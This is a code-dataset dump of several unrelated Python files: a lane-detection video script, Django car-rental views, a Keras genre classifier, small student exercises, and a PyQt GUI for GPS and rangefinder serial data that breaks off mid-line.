main()\n","sub_path":"ParlAI/parlai/mturk/tasks/personachat/personachat_rephrase/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"206173935","text":"import numpy as np\nimport glob\nimport cv2\nfrom moviepy.editor import VideoFileClip\nfrom IPython.display import HTML\nfrom line_detector import threshold, find_window_centroids, plot_window_centroids, draw, sanity_check\nfrom line import Line\n\n# Define conversions in x and y from pixels space to meters\nym_per_pix = 30/720 # meters per pixel in y dimension\nxm_per_pix = 3.7/700 # meters per pixel in x dimension\n\n# Calibration Settings\nnx = 9\nny = 6\nheight = 720\nwidth = 1280\n\n# Window settings\nwindow_width = 25\nwindow_height = 40 # Break image into 9 vertical layers since image height is 720\nmargin = 100 # How much to slide left and right for searching\n\n\"\"\"\n Compute the camera calibration matrix and distortion coefficients given a set of chessboard images.\n\"\"\"\nimgpoints = []\nobjpoints = []\nobjp = np.zeros((nx*ny, 3), np.float32)\nobjp[:,:2] = np.mgrid[0:nx, 0:ny].T.reshape(-1, 2)\n\nimages = glob.glob(\"camera_cal/calibration*.jpg\")\nfor fname in images:\n img = cv2.imread(fname)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n ret, corners = cv2.findChessboardCorners(gray, (nx, ny), None)\n \n # If found, draw corners\n if ret == True:\n imgpoints.append(corners)\n objpoints.append(objp)\nret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, (width, height), None, None)\n\n# Perspective Transformation Settings\n# define 4 source points src = np.float32([[,],[,],[,],[,]])\nsrc = np.float32([[1110, height], [690, 450], [595, 450], [220, height]])\n# define 4 destination points dst = np.float32([[,],[,],[,],[,]])\ndst = np.float32([[1000, height], [1000, 0], [350, 0], [350, height]])\n\n# use cv2.getPerspectiveTransform() to get M, the transform matrix\nM = cv2.getPerspectiveTransform(src, dst)\nMinv = cv2.getPerspectiveTransform(dst, src)\n\nleft_line = Line()\nright_line = Line()\n\ndef process_image(img):\n rgb_undist = cv2.undistort(img, mtx, dist, None, mtx)\n undist = cv2.cvtColor(rgb_undist, cv2.COLOR_RGB2BGR)\n binary_img, color_binary = threshold(undist)\n warped = cv2.warpPerspective(binary_img, M, (width, height), flags=cv2.INTER_NEAREST)\n window_centroids = find_window_centroids(warped, window_width, window_height, margin, left_line.base, right_line.base)\n output, left, right, center_pix = plot_window_centroids(warped, window_centroids, window_width, window_height)\n\n l, r = window_centroids[0]\n left_line.base, lmax = l\n right_line.base, rmax = r\n center_diff = center_pix - (width / 2.0)\n center_real = center_diff * xm_per_pix\n\n left_status, left_fit = left_line.curvature(left)\n right_status, right_fit = right_line.curvature(right)\n\n if not sanity_check(left_status, right_status, left_fit, right_fit, window_centroids):\n left_status, left_pts, left_curverad = left_line.avg(height)\n right_status, right_pts, right_curverad = right_line.avg(height)\n\n if not left_status or not right_status:\n return rgb_undist\n\n return draw(rgb_undist, left_pts, right_pts, Minv, left_curverad, right_curverad, center_real, width, height)\n else:\n left_pts, left_curverad = left_line.update(left, left_fit, height)\n right_pts, right_curverad = right_line.update(right, right_fit, height)\n return draw(rgb_undist, left_pts, right_pts, Minv, left_curverad, right_curverad, center_real, width, height)\n\nVideoFileClip(\"harder_challenge_video.mp4\").fl_image(process_image).write_videofile('result.mp4', audio=False)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"287613739","text":"from django.contrib import messages\nfrom django.core.paginator import Paginator\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.mail import EmailMessage\nfrom django.forms import formset_factory\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.views.generic import ListView, DetailView, CreateView\nfrom .models import Car, Image, Price, Renting, Contract, Report\nfrom .form import CarRegisterForm, ImageCarRegisterForm, PriceCarRegisterForm, ReviewCarForm, RentingCarForm, \\\n CarUpdateForm, ImageUpdateForm, PriceUpdateForm, ReportForm\nimport re\n\ndef home(request):\n context = Car.objects.all()\n paginator = Paginator(context, 2) # Show 25 contacts per page\n page = request.GET.get('page')\n contacts = paginator.get_page(page)\n return render(request, 'posts/home.html',{'contacts': contacts})\n\n\nclass PostListView(ListView):\n model = Car\n template_name = 'posts/home.html'\n context_object_name = 'cars'\n ordering = '-date_posted'\n\n\nclass PostDetailView(DetailView):\n model = Car\n template_name = 'posts/detail.html'\n\n\n\ndef detail(request, car_id):\n context = {}\n post = Car.objects.get(pk=car_id)\n if request.method == 'POST':\n review_form = ReviewCarForm(request.POST)\n if review_form.is_valid():\n review = review_form.save(commit=False)\n review.car = Car.objects.get(id=car_id)\n review.reviewer = request.user\n review.save()\n messages.success(request, f'You had just review {post.car_model}')\n return redirect('detail', car_id=car_id)\n else:\n context['post'] = post\n context['review_form'] = ReviewCarForm()\n\n return render(request, 'posts/detail.html', context=context)\n\n\n@login_required\ndef rent_post(request, car_id):\n context = {}\n car = Car.objects.get(pk=car_id)\n if request.method == 'POST':\n renting_form = RentingCarForm(request.POST, request.FILES or None)\n current_user = request.user\n if renting_form.is_valid():\n start = renting_form.cleaned_data['date_time_start']\n end = renting_form.cleaned_data['date_time_end']\n final = end - start\n rent = renting_form.save(commit=False)\n rent.user = current_user\n rent.car = car\n rent.time_use = final\n rent.save()\n current_site = get_current_site(request)\n mail_subject = 'Someone want to rent your car!' + car.owner.username\n message = render_to_string('posts/mail_notify.html', {\n 'user': current_user,\n 'domain': current_site.domain,\n 'car': car,\n 'rent': rent.id\n })\n to_email = car.owner.email\n email = EmailMessage(\n mail_subject, message, to=[to_email]\n )\n email.send()\n messages.success(request, f'Your Car has been register')\n return redirect('rent_post', car_id)\n else:\n messages.error(request, f'The form is not correct')\n return redirect('rent_post', car_id)\n else:\n context['renting_form'] = RentingCarForm()\n\n return render(request, 'posts/rent_post.html', context=context)\n\n\ndef rent_decide(request, rent_id):\n context = {}\n rented = Renting.objects.get(pk=rent_id)\n\n total = rented.time_use.total_seconds()\n real_time = display_time(total, 3)\n\n car_owner = rented.car.price_set.all()\n for prices in car_owner:\n hour = prices.hour\n day = prices.day\n week = prices.week\n month = prices.month\n\n f = (re.findall('\\d+', real_time))\n print(f)\n\n box = \"\"\n\n result = real_time.find('month')\n result1 = real_time.find('week')\n result2 = real_time.find('day')\n result3 = real_time.find('hour')\n\n total_money = 0\n\n if result > 0:\n box += 'm'\n\n if result1 > 0:\n box += 'w'\n\n if result2 > 0:\n box += 'd'\n\n if result3 > 0:\n box += 'h'\n\n if box == 'mwdh':\n total_money += month * int(f[0])\n total_money += week * int(f[1])\n total_money += day * int(f[2])\n total_money += hour * int(f[3])\n elif box == 'mwd':\n total_money += month * int(f[0])\n total_money += week * int(f[1])\n total_money += day * int(f[2])\n elif box == 'mwh':\n total_money += month * int(f[0])\n total_money += week * int(f[1])\n total_money += hour * int(f[2])\n elif box == 'mdh':\n total_money += month * int(f[0])\n total_money += day * int(f[1])\n total_money += hour * int(f[2])\n elif box == 'wdh':\n total_money += week * int(f[0])\n total_money += day * int(f[1])\n total_money += hour * int(f[2])\n elif box == 'wd':\n total_money += week * int(f[0])\n total_money += day * int(f[1])\n elif box == 'wh':\n total_money += week * int(f[0])\n total_money += hour * int(f[1])\n elif box == 'mw':\n total_money += month * int(f[0])\n total_money += week * int(f[1])\n elif box == 'md':\n total_money += month * int(f[0])\n total_money += day * int(f[1])\n elif box == 'mh':\n total_money += month * int(f[0])\n total_money += hour * int(f[1])\n elif box == 'dh':\n total_money += day * int(f[0])\n total_money += hour * int(f[1])\n elif box == 'm':\n total_money += month * int(f[0])\n elif box == 'w':\n total_money += week * int(f[0])\n elif box == 'd':\n total_money += day * int(f[0])\n elif box == 'h':\n total_money += hour * int(f[0])\n\n\n context['long'] = real_time\n context['total_money'] = total_money\n context['rented'] = rented\n\n return render(request, 'posts/rent_decide.html', context=context)\n\n\nintervals = (\n ('month', 2419200), # 60 * 60 * 24 * 7 * 4\n ('weeks', 604800), # 60 * 60 * 24 * 7\n ('days', 86400), # 60 * 60 * 24\n ('hours', 3600), # 60 * 60\n ('minutes', 60),\n ('seconds', 1),\n )\n\n\ndef display_time(seconds, granularity=2):\n result = []\n\n for name, count in intervals:\n value = seconds // count\n if value:\n seconds -= value * count\n if value == 1:\n name = name.rstrip('s')\n result.append(\"{} {}\".format(int(value), name))\n return ', '.join(result[:granularity])\n\n\ndef rent_accept(request, rent_id):\n context = {}\n rented = Renting.objects.get(pk=rent_id)\n rents = Renting.objects.all()\n count = 0\n for rent in rents:\n if rent.user == rented.user and rent.car == rented.car:\n count += 1\n if count < 1:\n Contract.objects.create(\n user=rented.user,\n car=rented.car,\n status='1'\n )\n\n current_site = get_current_site(request)\n mail_subject = 'Your request have been accept'\n message = render_to_string('posts/mail_accept.html', {\n 'user': rented.user,\n 'domain': current_site.domain,\n 'car': rented.car,\n 'phone': rented.car.owner.profile.phone\n })\n to_email = rented.user.email\n email = EmailMessage(\n mail_subject, message, to=[to_email]\n )\n email.send()\n context['rented'] = rented.car\n\n return render(request, 'posts/rent_status.html', {'context': context, 'status': 'You have been accept thank you for using us!'})\n\n\ndef rent_decline(request, rent_id):\n rented = Renting.objects.get(pk=rent_id)\n current_site = get_current_site(request)\n mail_subject = 'Your request have been decline'\n message = render_to_string('posts/mail_decline.html', {\n 'user': rented.user,\n 'domain': current_site.domain,\n 'car': rented.car,\n 'phone': rented.car.owner.profile.phone\n })\n to_email = rented.user.email\n email = EmailMessage(\n mail_subject, message, to=[to_email]\n )\n email.send()\n\n return render(request, 'posts/rent_status.html', {'status': 'You have decline the request thank you for your time.'})\n\n\n@login_required\ndef create_post(request):\n context = {}\n ImageCarRegisterFormSet = formset_factory(ImageCarRegisterForm, extra=6, max_num=6)\n if request.method == 'POST':\n car_form = CarRegisterForm(request.POST)\n image_form = ImageCarRegisterFormSet(request.POST, request.FILES or None)\n price_form = PriceCarRegisterForm(request.POST)\n current_user = request.user\n\n if car_form.is_valid():\n car = car_form.save(commit=False)\n car.owner = User.objects.get(id=current_user.id)\n car.save()\n if image_form.is_valid():\n for img in image_form:\n Image.objects.create(\n path=img.cleaned_data.get(\"path\"),\n car=car\n )\n if price_form.is_valid():\n Price.objects.create(\n hour=price_form.cleaned_data['hour'],\n day=price_form.cleaned_data['day'],\n week=price_form.cleaned_data['week'],\n month=price_form.cleaned_data['month'],\n car=car\n )\n messages.success(request, f'Your Car has been register')\n else:\n car_form = CarRegisterForm()\n image_form = ImageCarRegisterFormSet()\n price_form = PriceCarRegisterForm()\n\n context['car_form'] = car_form\n context['image_form'] = image_form\n context['price_form'] = price_form\n\n return render(request, 'posts/new_post.html', context=context)\n\n\ndef about(request):\n return render(request, 'posts/about.html')\n\n\ndef delete(request, car_id):\n\n car = Car.objects.get(pk=car_id)\n\n car.delete()\n\n return redirect('profile')\n\n\ndef update(request, car_id):\n\n cars = Car.objects.get(pk=car_id)\n prices = Price.objects.select_related().filter(car=cars.id).first()\n ImageFormSet = formset_factory(ImageCarRegisterForm, extra=5, max_num=10)\n\n if request.method == 'POST':\n car_form = CarRegisterForm(request.POST, instance=cars)\n image_form = ImageFormSet(request.POST, request.FILES or None)\n price_form = PriceCarRegisterForm(request.POST, instance=prices)\n if car_form.is_valid() and price_form.is_valid():\n cared = car_form.save(commit=False)\n cared.owner = cars.owner\n cared.save()\n priced = price_form.save(commit=False)\n priced.car = cars\n priced.save()\n if image_form.is_valid():\n for img_form in image_form:\n if img_form.cleaned_data.get('image_id'):\n img = Image.objects.get(id=img_form.cleaned_data.get('image_id'))\n if img:\n img.path = img_form.cleaned_data.get('path')\n img.save()\n else:\n if img_form.cleaned_data.get('path'):\n Image.objects.create(\n path=img_form.cleaned_data.get('path'),\n car=cars\n )\n\n messages.success(request, f'Your post has been updated!')\n return redirect('update', cars.id)\n\n else:\n car_form = CarRegisterForm(instance=cars)\n\n data = []\n\n for img in cars.image_set.all():\n data.append(\n {\n 'path': img.path,\n 'image_id': img.id\n }\n )\n print(data)\n price_form = PriceCarRegisterForm(instance=prices)\n\n image_form = ImageFormSet(initial=data)\n\n context = {\n 'car_form': car_form,\n 'image_form': image_form,\n 'price_form': price_form\n }\n return render(request, 'posts/update.html', context)\n\n\ndef report(request, car_id):\n\n cars = Car.objects.get(pk=car_id)\n\n if request.method == 'POST':\n form = ReportForm(request.POST)\n if form.is_valid():\n Report.objects.create(\n type=form.cleaned_data.get('type'),\n text=form.cleaned_data.get('text'),\n reported=cars\n )\n messages.success(request, f'Your Report has been sent')\n return redirect('report', car_id)\n else:\n form = ReportForm()\n\n context = {\n 'form': form\n }\n\n return render(request, 'posts/report.html', context=context)\n\n","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"326411612","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom keras import models\nfrom keras import layers\nimport pickle\nfrom sklearn.metrics import confusion_matrix\n\n\ndata = pd.read_csv(\"Data/music9.data\")\n\ngenre_list = data.iloc[:, -1]\nencoder = LabelEncoder()\ny = encoder.fit_transform(genre_list)\n\nscaler = StandardScaler()\nX = scaler.fit_transform(np.array(data.iloc[:, :-1], dtype = float))\n\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1)\n\nmodel = models.Sequential()\nmodel.add(layers.Dense(256, activation='relu', input_shape=(X_train.shape[1],)))\n\nmodel.add(layers.Dense(128, activation='relu'))\n\nmodel.add(layers.Dense(64, activation='relu'))\n\nmodel.add(layers.Dense(10, activation='softmax'))\n\nmodel.compile(optimizer='adam',loss='sparse_categorical_crossentropy',metrics=['accuracy'])\n\nhistory = model.fit(X_train,y_train,epochs=20,batch_size=128)\n\ntest_loss, test_acc = model.evaluate(X_test,y_test)\n\nprint('test_acc: ', test_acc)\nwith open(\"towardsPickle.pickle\", \"wb\") as f:\n pickle.dump(model, f)\npredicted = model.predict(X_test)\nnames = [\"blues\", \"classical\", \"country\", \"disco\", \"hiphop\", \"jazz\", \"metal\", \"pop\", \"reggae\", \"rock\"]\n","sub_path":"towardsdatascience.py","file_name":"towardsdatascience.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"328447061","text":"#Introdução a programação de computadores;\n#Professor: Jucimar Junior\n#Felipe Henrique Bastos Costa - 1615310032\n#Lorene da Silva Marques - 1615310013\n#Caio de Oliveira Martins - 1615310031\n#Antonio Rodrigues de Souza Neto - 1615310028\n#Calebe Roberto Chaves da Silva Rebello - 1615310043\n\ncont = 1\npar = 0\nimpar = 0\nwhile cont <= 10:\n num = int(input(\"Digite o numero %i: \"%cont))\n if num % 2 ==0:\n par += 1\n else:\n impar += 1\n\n cont += 1\n\nprint(\"Há um total de %i numeros pares e %i numeros impares.\"%(par, impar))\n","sub_path":"lista3/ipc_lista3.14.py","file_name":"ipc_lista3.14.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"598505727","text":"class Solution(object):\n def findMaxConsecutiveOnes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if not nums: return 0\n # use dp[i] as #485 to solve consecutive 0s\n dp = [0 for _ in xrange(len(nums))]\n dp[0] = nums[0]\n for i in xrange(1, len(nums)):\n if nums[i]:\n dp[i] = dp[i - 1] + 1\n cons = [dp[0]]\n for i in xrange(1, len(dp)):\n if dp[i] == 0:\n cons.append(dp[i])\n elif i == len(dp) - 1 or dp[i + 1] == 0: # end of a streak\n cons.append(dp[i])\n maxL = 0\n for i in xrange(len(cons)):\n if cons[i] == 0:\n left = cons[i - 1] if i - 1 >= 0 else 0\n right = cons[i + 1] if i + 1 < len(cons) else 0\n maxL = max(maxL, 1 + left + right)\n return max(maxL, cons[-1]) # incase all 1\n\n","sub_path":"487_max_consecutive_ones_II/dp.py","file_name":"dp.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"31911642","text":"from PyQt5.Qt import *\nimport cv2, time\nimport r2_gps_ui\nimport sys, serial\nimport gps_range_new, status_check\nimport os, datetime\nfrom PyQt5.QtCore import (QCoreApplication, QObject, QRunnable, QThread,\n QThreadPool, pyqtSignal, QTime)\nfrom PyQt5 import QtGui, QtWidgets\nimport pandas as pd\nimport mplcursors\nimport matplotlib.pyplot as plt\n\nflag = True\n\n # file.write(\"\")\n##############Start from here......................\nclass Worker(QObject): ### LRF worker\n finished = pyqtSignal() # our signal out to the main thread to alert it we've completed our work\n\n def __init__(self):\n super(Worker, self).__init__()\n self.working = True # this is our flag to control our loop\n\n def work(self):\n while self.working:\n print(\"LRF running\")\n window1.getrange_outer()\n time.sleep(1)\n\n self.finished.emit() # alert our gui that the loop stopped\n\nclass Worker1(QObject):\n finished1 = pyqtSignal() # our signal out to the main thread to alert it we've completed our work\n\n def __init__(self):\n super(Worker1, self).__init__()\n self.working1 = True # this is our flag to control our loop\n\n def work(self):\n while self.working1:\n gps_range_new.read_gps() # Put the logic1 to execute in the first thread\n\n\n self.finished1.emit() # alert our gui that the loop stopped\n\nclass Worker2(QObject):\n finished2 = pyqtSignal() # our signal out to the main thread to alert it we've completed our work\n\n def __init__(self):\n super(Worker2, self).__init__()\n self.working2 = True # this is our flag to control our loop\n\n def work(self):\n while self.working2:\n gps_range_new.process_gps_data()\n # window1.lineEdit_2.clear()\n # window1.lineEdit_2.setText(LEVEL_PROBE.display_data)\n\n self.finished2.emit() # alert our gui that the loop stopped\n\nclass Worker3(QObject):\n finished3 = pyqtSignal() # our signal out to the main thread to alert it we've completed our work\n\n def __init__(self):\n super(Worker3, self).__init__()\n self.working3 = True # this is our flag to control our loop\n\n def work(self):\n while self.working3:\n gps_range_new.read_range()\n # window1.lineEdit_2.clear()\n # window1.lineEdit_2.setText(LEVEL_PROBE.display_data)\n\n self.finished3.emit() # alert our gui that the loop stopped\n\nclass Worker4(QObject):\n finished4 = pyqtSignal() # our signal out to the main thread to alert it we've completed our work\n\n def __init__(self):\n super(Worker4, self).__init__()\n self.working4 = True # this is our flag to control our loop\n\n def work(self):\n while self.working4:\n gps_range_new.process_range_data()\n # window1.lineEdit_2.clear()\n # window1.lineEdit_2.setText(LEVEL_PROBE.display_data)\n\n self.finished4.emit() # alert our gui that the loop stopped\n\n\n\nclass Controller_gui1(QMainWindow, r2_gps_ui.Ui_MainWindow): #Window 1\n def __init__(self, parent= None): #Initialising window1\n super().__init__(parent)\n self.setupUi(self)\n QMainWindow.setWindowFlags(self, Qt.WindowCloseButtonHint | Qt.WindowMinimizeButtonHint)# Remove max botton\n self.setWindowIcon(QtGui.QIcon('SMR-LOGO_31aug2013_ico.ico'))\n self.pushButton_2.setEnabled(False)\n self.pushButton_6.setEnabled(False)\n\n self.timeEdit.setTime(QTime.currentTime())\n\n # Initialize the thread and the workers\n\n self.thread = None\n self.worker = None\n\n self.thread1 = None # Initialize the thread and the workers\n self.worker1 = None\n\n self.thread2 = None\n self.worker2 = None\n\n self.thread3 = None\n self.worker3 = None\n\n self.thread4 = None\n self.worker4 = None\n\n\n\n def getSensorValue(self):\n # print('%d. call of getSensorValue()' % self.i)\n if gps_range_new.data_to_write:\n print(gps_range_new.data_to_write)\n\n # file.flush()\n # file.write(gps_range_new.data_to_write) ###Writing to file\n gps_range_new.data_to_write = ''\n\n # self.pushButton_2.clicked.connect(self.start_loop)\n\n def closeEvent(self, event):\n try:\n gps_range_new.ser_gps.close()\n gps_range_new.ser_range.close()\n gps_range_new.file.close()\n status_check.lrf_file.close()\n print(\"All closed\")\n except:\n pass\n sys.exit()\n\n def start_loop(self):\n\n self.qTimer = QTimer()\n # set interval to 1 s\n self.qTimer.setInterval(2000) # 1000 ms = 1 s\n # connect timeout signal to signal handler\n self.qTimer.timeout.connect(self.getSensorValue)\n # start timer\n self.qTimer.start()\n self.port_selection() #open th port\n try:\n self.pushButton.setEnabled(False)\n self.pushButton_2.setEnabled(True)\n except:\n pass\n\n # self.thread = QThread()# a new thread to run our background tasks in\n self.thread1 = QThread()# a new thread to run our background tasks in\n self.thread2 = QThread()\n self.thread3 = QThread()\n self.thread4 = QThread()\n\n # self.worker = Worker() # a new worker to perform those tasks\n self.worker1 = Worker1() # a new worker to perform those tasks\n self.worker2 = Worker2() # a new worker to perform those tasks\n self.worker3 = Worker3()\n self.worker4 = Worker4()\n\n\n # self.worker.moveToThread(self.thread)# move the worker into the thread, do this first before connecting the signals\n self.worker1.moveToThread(self.thread1)# move the worker into the thread, do this first before connecting the signals\n self.worker2.moveToThread(self.thread2)# move the worker into the thread, do this first before connecting the signals\n self.worker3.moveToThread(self.thread3)\n self.worker4.moveToThread(self.thread4)\n\n # self.thread.started.connect(self.worker.work) # begin our worker object's loop when the thread starts running\n self.thread1.started.connect(self.worker1.work) # begin our worker object's loop when the thread starts running\n self.thread2.started.connect(self.worker2.work) # begin our worker object's loop when the thread starts running\n self.thread3.started.connect(self.worker3.work)\n self.thread4.started.connect(self.worker4.work)\n\n # self.thread1.started.connect(LEVEL_PROBE.read_data)\n # self.thread2.started.connect(LEVEL_PROBE.process_data)\n # # self.pushButton_3.clicked.connect(self.stop_loop) # stop the loop on the stop button click\n\n # self.worker.finished.connect(self.loop_finished) # do something in the gui when the worker loop ends\n # self.worker1.finished1.connect(self.loop_finished) # do something in the gui when the worker loop ends\n # self.worker2.finished2.connect(self.loop_finished) # do something in the gui when the worker loop ends\n # self.worker3.finished3.connect(self.loop_finished)\n # self.worker4.finished4.connect(self.loop_finished)\n\n # self.worker.finished.connect(self.thread.quit) # tell the thread it's time to stop running\n self.worker1.finished1.connect(self.thread1.quit) # tell the thread it's time to stop running\n self.worker2.finished2.connect(self.thread2.quit) # tell the thread it's time to stop running\n self.worker3.finished3.connect(self.thread3.quit)\n self.worker4.finished4.connect(self.thread4.quit)\n\n # self.worker.finished.connect(self.thread1.quit)\n # self.worker.finished.connect(self.thread2.quit)\n\n\n # self.worker.finished.connect(self.worker.deleteLater) # have worker mark itself for deletion\n # self.thread.finished.connect(self.thread.deleteLater) # have thread mark itself for deletion\n\n self.worker1.finished1.connect(self.worker1.deleteLater) # have worker mark itself for deletion\n self.thread1.finished.connect(self.thread1.deleteLater) # have thread mark itself for deletion\n\n self.worker2.finished2.connect(self.worker2.deleteLater) # have worker mark itself for deletion\n self.thread2.finished.connect(self.thread2.deleteLater) # have thread mark itself for deletion\n\n self.worker3.finished3.connect(self.worker3.deleteLater) # have worker mark itself for deletion\n self.thread3.finished.connect(self.thread3.deleteLater) # have thread mark itself for deletion\n\n self.worker4.finished4.connect(self.worker4.deleteLater) # have worker mark itself for deletion\n self.thread4.finished.connect(self.thread4.deleteLater) # have thread mark itself for deletion\n\n\n\n # self.thread.finished.connect(self.thread.wait) # wait for the threads to terminate, otherwise the program crashes before terminating the thread\n self.thread1.finished.connect(self.thread1.wait) # wait for the threads to terminate, otherwise the program crashes before terminating the thread\n self.thread2.finished.connect(self.thread2.wait) # wait for the threads to terminate, otherwise the program crashes before terminating the thread\n self.thread3.finished.connect(self.thread3.wait)\n self.thread4.finished.connect(self.thread4.wait)\n\n # self.thread1.finished.connect(self.thread1.deleteLater)\n # self.thread2.finished.connect(self.thread1.deleteLater)\n # # make sure those last two are connected to themselves or you will get random crashes\n\n\n # self.thread.start()\n self.thread1.start()\n self.thread2.start()\n self.thread3.start()\n self.thread4.start()\n\n\n\n def stop_loop(self):\n try:\n self.timeEdit_2.setTime(QTime.currentTime())\n self.pushButton_2.setEnabled(False)\n self.pushButton.setEnabled(True)\n except:\n pass\n\n self.qTimer.stop()\n # self.worker.working = False\n self.worker1.working1 = False\n self.worker2.working2 = False\n self.worker3.working3 = False\n self.worker4.working4 = False\n global flag\n flag = False\n try:\n if gps_range_new.ser_gps.is_open:\n gps_range_new.ser_gps.close()\n if gps_range_new.ser_range.is_open:\n gps_range_new.ser_range.close()\n except:\n pass\n\n # since thread's share the same memory, we read/write to variables of objects running in other threads\n # so when we are ready to stop the loop, just set the working flag to false\n #\n # def loop_finished(self):\n # # received a callback from the thread that it completed\n # print('Looped Finished')\n\n def serial_ports(self):\n ports = ['COM%s' % (i + 1) for i in range(256)]\n\n\n result = []\n for port in ports:\n try:\n s = serial.Serial(port)\n s.close()\n result.append(port)\n except (OSError, serial.SerialException):\n pass\n return result\n\n def port_selection(self):\n try:\n if gps_range_new.ser_gps.is_open:\n gps_range_new.ser_gps.close()\n if gps_range_new.ser_range.is_open:\n gps_range_new.ser_range.close()\n except:\n pass\n gps_range_new.ser_gps = serial.Serial(\n port=window1.comboBox_2.currentText(),\n baudrate=4800,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS\n )\n\n gps_range_new.ser_range = serial.Serial(\n port=window1.comboBox.currentText(),\n baudrate=9600,\n parity=serial.PARITY_EVEN,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS\n )\n gps_range_new.ser_gps.flushInput()\n gps_range_new.ser_gps.flushOutput()\n gps_range_new.ser_range.flushInput()\n gps_range_new.ser_range.flushOutput()\n\n @staticmethod\n def ConvertNumpyToQPixmap(np_img):\n height, width, channel = np_img.shape\n bytesPerLine = 3 * width\n return QPixmap(QImage(np_img.data, width, height, bytesPerLine, QImage.Format_RGB888).rgbSwapped())\n\n\n def plot(self):\n self.dataframe = pd.read_csv(\"LOGS/\" + str(datetime.date.today()).replace(\"-\", \"\") + \".txt\", sep=None, header=None)\n # delimiter = r\"\\s+\",\n print(self.dataframe[0])\n mask = (self.dataframe[0] > self.timeEdit.text()) & (self.dataframe[0] <= self.timeEdit_2.text())\n print(self.dataframe.loc[mask])\n self.dataframe = self.dataframe.loc[mask]\n self.dataframe[0] = pd.to_datetime(self.dataframe[0], format='%H:%M:%S.%f').dt.time\n if not self.dataframe.empty :\n ax = self.dataframe.plot(x=0, y=[8, 9])\n # ax.legend([\"Range\"])\n ax.set_xlabel(\"Flight Time\")\n ax.set_ylabel(\"Range(metres)\")\n ax.legend([\"Altimeter\", \"GPS\"]);\n mplcursors.cursor(hover=True, highlight=True, bindings={\"left\": \"left\", \"right\": \"right\"})\n plt.show()\n else:\n print(\"Nothing to plot Or Check the time interval\")\n\n\n\n def lrf_port_selection(self):\n\n status_check.lrf_ser_range = serial.Serial(\n port=self.comboBox_3.currentText(),\n baudrate=38400,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=1\n )\n\n def lrf_start_loop(self):\n try:\n window1.pushButton_5.setEnabled(False)\n window1.pushButton_6.setEnabled(True)\n except:\n pass\n\n self.thread = QThread() # a new thread to run our background tasks in\n self.worker = Worker() # a new worker to perform those tasks\n self.worker.moveToThread(\n self.thread) # move the worker into the thread, do this first before connecting the signals\n\n self.thread.started.connect(self.worker.work) # begin our worker object's loop when the thread starts running\n # self.pushButton_4.clicked.connect(self.lrf_stop_loop) # stop the loop on the stop button click\n # self.worker.finished.connect(self.loop_finished) # do something in the gui when the worker loop ends\n self.worker.finished.connect(self.thread.quit) # tell the thread it's time to stop running\n self.worker.finished.connect(self.worker.deleteLater) # have worker mark itself for deletion\n self.thread.finished.connect(self.thread.deleteLater) # have thread mark itself for deletion\n # make sure those last two are connected to themselves or you will get random crashes\n\n self.thread.start()\n\n def lrf_stop_loop(self):\n try:\n window1.pushButton_6.setEnabled(False)\n window1.pushButton_5.setEnabled(True)\n except:\n pass\n self.worker.working = False\n\n def getstatus_outer(self):\n self.lrf_port_selection()\n status_check.lrf_ser_range.timeout = .1\n lrf_panel.getstatus()\n\n try:\n if status_check.out2.startswith('24524459'):\n window1.label_8.setStyleSheet('color: black')\n window1.label_7.setStyleSheet('color: red')\n else:\n window1.label_7.setStyleSheet('color: black')\n window1.label_8.setStyleSheet('color: red')\n status_check.out2 = \"\"\n except Exception as e:\n print(e)\n pass\n\n def getrange_outer(self):\n self.lrf_port_selection()\n lrf_panel.getrange()\n\n try:\n if status_check.out2.startswith('24'):\n self.lineEdit.setText(\"\")\n self.errorlabel.setText(\"Error\")\n self.errorlabel.setStyleSheet('color: red')\n else:\n self.errorlabel.setText(\"\")\n self.errorlabel.setStyleSheet('color: black')\n self.lineEdit.setText(str(int(status_check.out2[-8:-4], 16)))\n status_check.out2 = \"\"\n except Exception as e:\n # print(e)\n pass\n\n# if __name__ == \"__main__\":\n\napp = QApplication(sys.argv)\napp.setStyle(\"fusion\")\n\n# Creating objects for 2 classes\nwindow1 = Controller_gui1()\n\nlrf_panel = status_check.lrf_Controller_gui1()\n\n# adding Sameer logo\ncurrentNumpyImage = cv2.imread('SMR-LOGO_31aug2013_png.png')\npixmap = window1.ConvertNumpyToQPixmap(currentNumpyImage)\npixmap = pixmap.scaled(window1.label_5.width(), window1.label_5.height(), transformMode=Qt.SmoothTransformation)\nwindow1.label_5.setPixmap(pixmap)\n\nports= window1.serial_ports() # enumerate available COM ports\nprint(ports)\nwindow1.comboBox.addItems(ports)\nwindow1.comboBox_2.addItems(ports)\n\nwindow1.pushButton.clicked.connect(window1.start_loop)\nwindow1.pushButton_2.clicked.connect(window1.stop_loop) # stop the loop on the stop button 